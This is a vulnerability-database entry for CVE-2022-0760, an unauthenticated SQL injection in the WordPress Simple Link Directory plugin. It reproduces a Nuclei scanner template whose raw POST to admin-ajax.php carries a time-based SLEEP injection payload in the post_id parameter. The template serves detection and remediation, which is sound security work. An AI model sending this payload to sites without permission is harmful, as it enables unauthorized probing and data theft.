Lucene search

K
nucleiProjectDiscoveryNUCLEI:CVE-2022-0760
HistoryMar 05, 2023 - 1:42 p.m.

WordPress Simple Link Directory <7.7.2 - SQL injection

2023-03-0513:42:10
ProjectDiscovery
github.com
3
wordpress
simple link directory
sql injection
wp-plugin
unauthenticated
quantumcloud

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.027 Low

EPSS

Percentile

90.6%

WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
id: CVE-2022-0760

info:
  name: WordPress Simple Link Directory <7.7.2 - SQL injection
  author: theamanrawat
  severity: critical
  description: |
    WordPress Simple Link Directory plugin before 7.7.2 contains a SQL injection vulnerability. The plugin does not validate and escape the post_id parameter before using it in a SQL statement via the qcopd_upvote_action AJAX action, available to unauthenticated and authenticated users. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, and potential compromise of the WordPress site.
  remediation: |
    Update to the latest version of WordPress Simple Link Directory plugin (7.7.2 or higher) to mitigate the SQL injection vulnerability.
  reference:
    - https://wpscan.com/vulnerability/1c83ed73-ef02-45c0-a9ab-68a3468d2210
    - https://wordpress.org/plugins/simple-link-directory/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0760
    - https://plugins.trac.wordpress.org/changeset/2684915
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-0760
    cwe-id: CWE-89
    epss-score: 0.02788
    epss-percentile: 0.89602
    cpe: cpe:2.3:a:quantumcloud:simple_link_directory:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: quantumcloud
    product: simple_link_directory
    framework: wordpress
  tags: cve,cve2022,sqli,wordpress,wp-plugin,wp,simple-link-directory,unauth,wpscan,quantumcloud

http:
  - raw:
      - |
        @timeout 20s
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=qcopd_upvote_action&post_id=(SELECT 3 FROM (SELECT SLEEP(7))enz)

    matchers:
      - type: dsl
        dsl:
          - 'duration>=7'
          - 'status_code == 200 || status_code == 500'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "vote_status") || contains(body, "critical error")'
        condition: and
# digest: 4a0a004730450221008335e1b503013fdf95af325dc2cd7775ecc4a69d509ffd7d9f3e058d0d0f0f36022040ddab9ea922ffdf58d0e2f057aad3e53d5c0ff7946897f4d3f3da3105c0776d:922c64590222798bb761d5b6d8e72950

7.5 High

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

0.027 Low

EPSS

Percentile

90.6%